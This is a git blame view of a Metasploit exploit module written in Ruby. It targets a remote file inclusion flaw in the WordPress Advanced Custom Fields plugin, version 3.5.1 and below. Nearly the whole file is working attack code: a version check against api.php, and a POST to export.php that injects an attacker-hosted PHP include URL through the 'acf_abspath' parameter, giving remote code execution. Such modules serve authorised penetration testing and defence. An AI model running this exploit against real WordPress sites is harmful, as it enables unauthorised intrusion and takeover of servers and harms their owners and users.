Files
metasploit-gs/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

100 lines
3.0 KiB
Ruby
Raw Normal View History

2013-01-02 20:14:09 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-02 20:14:09 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-01-02 20:14:09 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
'Description' => %q{
2013-01-03 00:02:03 +01:00
This module exploits a remote file inclusion flaw in the WordPress blogging
2025-06-20 13:20:44 +01:00
software plugin known as Advanced Custom Fields. The vulnerability allows for remote
file inclusion and remote code execution via the export.php script. The Advanced
Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
works when the php option allow_url_include is set to On (Default Off).
},
'Author' => [
2014-10-02 23:03:31 +02:00
'Charlie Eriksen <charlie[at]ceriksen.com>'
2013-01-02 20:14:09 +00:00
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
['OSVDB', '87353'],
2023-03-23 10:19:30 +00:00
['URL', 'http://web.archive.org/web/20121223025326/http://secunia.com:80/advisories/51037'],
2014-10-03 17:13:18 +02:00
['WPVDB', '6103']
2013-01-02 20:14:09 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'Payload' => {
2013-01-02 20:14:09 +00:00
'DisableNops' => true,
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'ConnectionType' => 'find'
}
2013-01-02 20:14:09 +00:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {}]],
'DisclosureDate' => '2012-11-14',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-01-02 20:14:09 +00:00
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
2013-01-04 01:11:40 -06:00
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/'])
2025-06-20 13:20:44 +01:00
]
)
2013-01-02 20:14:09 +00:00
end
def check
uri = target_uri.path
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
2013-01-02 21:19:06 +00:00
uri << datastore['PLUGINSPATH']
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
2013-01-02 20:14:09 +00:00
res = send_request_cgi({
'method' => 'POST',
2025-06-20 13:20:44 +01:00
'uri' => "#{uri}advanced-custom-fields/core/api.php"
2013-01-02 20:14:09 +00:00
})
if res and res.code == 200
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Appears
2013-01-02 20:14:09 +00:00
else
return Exploit::CheckCode::Safe
end
end
def php_exploit
uri = target_uri.path
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
2013-01-02 21:19:06 +00:00
uri << datastore['PLUGINSPATH']
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
2013-01-02 20:14:09 +00:00
print_status('Sending request')
res = send_request_cgi({
'method' => 'POST',
2025-06-20 13:20:44 +01:00
'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
'data' => "acf_abspath=#{php_include_url}"
2013-01-02 20:14:09 +00:00
})
2013-01-02 21:19:06 +00:00
if res and res.body =~ /allow_url_include/
2013-08-15 14:14:46 -05:00
fail_with(Failure::NotVulnerable, 'allow_url_include is disabled')
2013-01-02 21:19:06 +00:00
elsif res.code != 200
2013-08-15 14:14:46 -05:00
fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
2013-01-02 20:14:09 +00:00
end
end
end